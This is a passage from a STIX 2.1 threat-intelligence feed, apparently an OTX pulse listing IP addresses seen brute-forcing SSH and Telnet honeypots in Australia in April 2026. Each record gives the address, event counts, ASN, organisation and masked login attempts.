      "modified": "2026-04-27T11:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.202.184.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T11:15:30.000Z",
      "valid_until": "2026-05-29T11:15:08.000Z"
    },
    {
      "created": "2026-04-27T11:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3965. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, a***n, u****u, d****y. Passwords observed (masked): 1****6, ***, *, 1**4, p******d.",
      "id": "indicator--fc29090c-3faf-42ab-809c-b76dd77a94cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T11:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T11:15:30.000Z",
      "valid_until": "2026-05-29T11:15:08.000Z"
    },
    {
      "created": "2026-04-27T11:15:30.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--bd01416e-cb0c-4eaa-834f-3a5c4088953c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T11:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.23.73.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T11:15:30.000Z",
      "valid_until": "2026-05-29T11:15:08.000Z"
    },
    {
      "created": "2026-04-27T11:15:30.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): r**t, 3**********4, ***, i******i. Passwords observed (masked): !**********#, *, 1******4, 1******q, 3***********4.",
      "id": "indicator--e47aab73-b615-4a04-baa7-56749125e6a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T11:15:30.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '79.104.0.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T11:15:30.000Z",
      "valid_until": "2026-05-29T11:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 254. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, f*****t, r***2, t****t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**********3, 1*******X.",
      "id": "indicator--57191090-5546-4b6d-bab4-29dd9048a3df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.72.147.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group.",
      "id": "indicator--5020628e-69e1-4504-a09e-a17fc9e6d486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.70.1.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PY. ASN(s): 264631. Organisation(s): RED PARAGUAYA DE TELECOMUNICACIONES SA. Usernames observed (masked): r**t. Passwords observed (masked): j***********g.",
      "id": "indicator--2e0a10b9-538a-4686-93dd-52e1ec8decfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.202.209.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 197540. Organisation(s): netcup GmbH. Usernames observed (masked): r**t, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, f*******n, h*****g, l*****n.",
      "id": "indicator--dcb3ae66-6767-42de-8328-2da279118f82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.53.22.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, n***x, u****u.",
      "id": "indicator--a6d7ebdc-56bf-44bb-be91-a0814e629c61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.244.41.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--0b5f7235-2db8-4fb8-a2e0-360052bc1dba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.3.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263025. Organisation(s): ISPTEC Sistemas de Comunicacao Eireli. Usernames observed (masked): r**t. Passwords observed (masked): Q*******3.",
      "id": "indicator--13f81a2f-1d80-4c66-98e7-ae6ec5c55e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.10.201.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--cc43a6bf-32f9-4eeb-b776-d860b2b1ca76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.76.250.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 267251. Organisation(s): TELEFONARNET TELECOMUNICACOES. Usernames observed (masked): r**t. Passwords observed (masked): @******3.",
      "id": "indicator--46a2ed47-6052-48bb-be2b-493db0fc4e5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.232.73.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 34977. Organisation(s): Procono S.A.. Usernames observed (masked): r**t, 3**********4, f*****t, r***2, t****t. Passwords observed (masked): 3***********4, 3**********4, ***, 1**********3, 1*******X.",
      "id": "indicator--1897e4eb-ab15-4b4c-91de-664414967d41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.37.66.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T12:15:10.000Z",
      "valid_until": "2026-05-29T12:15:08.000Z"
    },
    {
      "created": "2026-04-27T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t. Passwords observed (masked): G******3.",
      "id": "indicator--4424c0fe-3518-4dd6-86d3-f5944acab643",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.143.231.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:15:11.000Z",
      "valid_until": "2026-05-29T13:15:08.000Z"
    },
    {
      "created": "2026-04-27T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--ac1f8dcc-ba7b-4f82-b55e-9e40c88f53df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.36.27.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:15:11.000Z",
      "valid_until": "2026-05-29T13:15:08.000Z"
    },
    {
      "created": "2026-04-27T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--72bf5aaa-f5c0-4ffa-87ba-e344f0f733d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.187.108.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:15:11.000Z",
      "valid_until": "2026-05-29T13:15:08.000Z"
    },
    {
      "created": "2026-04-27T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 216472. Organisation(s): High Speed For Internet Services L.L.C.",
      "id": "indicator--a1ada5a7-d701-4e47-bea6-836f9614341f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.28.49.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:15:11.000Z",
      "valid_until": "2026-05-29T13:15:08.000Z"
    },
    {
      "created": "2026-04-27T13:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NC. ASN(s): 56089. Organisation(s): OFFRATEL.",
      "id": "indicator--3cbb4fa9-7e44-46fa-a6d2-771079b4ba37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.158.183.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:15:11.000Z",
      "valid_until": "2026-05-29T13:15:08.000Z"
    },
    {
      "created": "2026-04-27T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--389eb1f1-ceec-42ff-9301-65b9ddbe1479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.250.116.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:15:11.000Z",
      "valid_until": "2026-05-29T13:15:08.000Z"
    },
    {
      "created": "2026-04-27T13:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--128e8247-8ffa-4159-b0cb-53d02ca24903",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T13:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T13:15:11.000Z",
      "valid_until": "2026-05-29T13:15:08.000Z"
    },
    {
      "created": "2026-04-27T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--599a96fa-dada-4d5e-849c-1b45fd30ade5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.60.181.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T14:15:11.000Z",
      "valid_until": "2026-05-29T14:15:08.000Z"
    },
    {
      "created": "2026-04-27T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1495. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u****u, a***n, t**t, m*******t. Passwords observed (masked): 1****6, *, ***, p******d, A******6.",
      "id": "indicator--a471c138-f9ad-408e-97cf-bf2fafdf157b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T14:15:11.000Z",
      "valid_until": "2026-05-29T14:15:08.000Z"
    },
    {
      "created": "2026-04-27T15:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 97. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0******M, 3***********4, 3**********4, c*******e, r*********3.",
      "id": "indicator--de868aea-0f59-40be-ad45-2611c3706684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T15:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.36.110.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:15:40.000Z",
      "valid_until": "2026-05-29T15:15:09.000Z"
    },
    {
      "created": "2026-04-27T15:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45458. Organisation(s): SBN-ISPAWN-ISP and SBN-NIXAWN-NIX. Usernames observed (masked): r**t, 3**********4, r***4. Passwords observed (masked): 1*******r, 3***********4, 3**********4, I******., P*************6.",
      "id": "indicator--d5b31be7-1865-4c61-af1a-9b07215ec99f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T15:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.50.103.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:15:40.000Z",
      "valid_until": "2026-05-29T15:15:09.000Z"
    },
    {
      "created": "2026-04-27T15:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T15:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:15:40.000Z",
      "valid_until": "2026-05-29T15:15:09.000Z"
    },
    {
      "created": "2026-04-27T15:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--0491a356-eec6-4a17-8c84-ef867b5852b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T15:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.128.121.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:15:40.000Z",
      "valid_until": "2026-05-29T15:15:09.000Z"
    },
    {
      "created": "2026-04-27T15:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina.",
      "id": "indicator--067716d1-8795-430f-94a8-554387482d49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T15:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.254.159.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:15:40.000Z",
      "valid_until": "2026-05-29T15:15:09.000Z"
    },
    {
      "created": "2026-04-27T15:15:40.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t. Passwords observed (masked): d**********3.",
      "id": "indicator--cc2d8688-f546-439f-a0a7-af27fe3452ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T15:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '62.60.234.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:15:40.000Z",
      "valid_until": "2026-05-29T15:15:09.000Z"
    },
    {
      "created": "2026-04-27T15:15:40.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--456f949d-5701-41d5-8c72-3a7bb9c57ee4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T15:15:40.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.129.73.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T15:15:40.000Z",
      "valid_until": "2026-05-29T15:15:09.000Z"
    },
    {
      "created": "2026-04-27T16:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company.",
      "id": "indicator--4ab7fc8a-bafa-458b-af5b-dc59465f1aca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.54.35.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:16:06.000Z",
      "valid_until": "2026-05-29T16:15:08.000Z"
    },
    {
      "created": "2026-04-27T16:16:06.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--398366fd-2bf1-4b93-aed7-767e22c1d733",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:16:06.000Z",
      "valid_until": "2026-05-29T16:15:08.000Z"
    },
    {
      "created": "2026-04-27T16:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--656c9cb4-56ac-47a8-9c8b-a6946915eb82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.238.13.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:16:06.000Z",
      "valid_until": "2026-05-29T16:15:08.000Z"
    },
    {
      "created": "2026-04-27T16:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d9e5b71f-6be2-4d28-a4df-f58cd78328dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:16:06.000Z",
      "valid_until": "2026-05-29T16:15:08.000Z"
    },
    {
      "created": "2026-04-27T16:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 20207. Organisation(s): Gigared S.A..",
      "id": "indicator--788fe072-00b5-44df-b4ed-4db0cde1a228",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '190.183.248.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T16:16:06.000Z",
      "valid_until": "2026-05-29T16:15:08.000Z"
    },
    {
      "created": "2026-04-27T16:16:06.000Z",
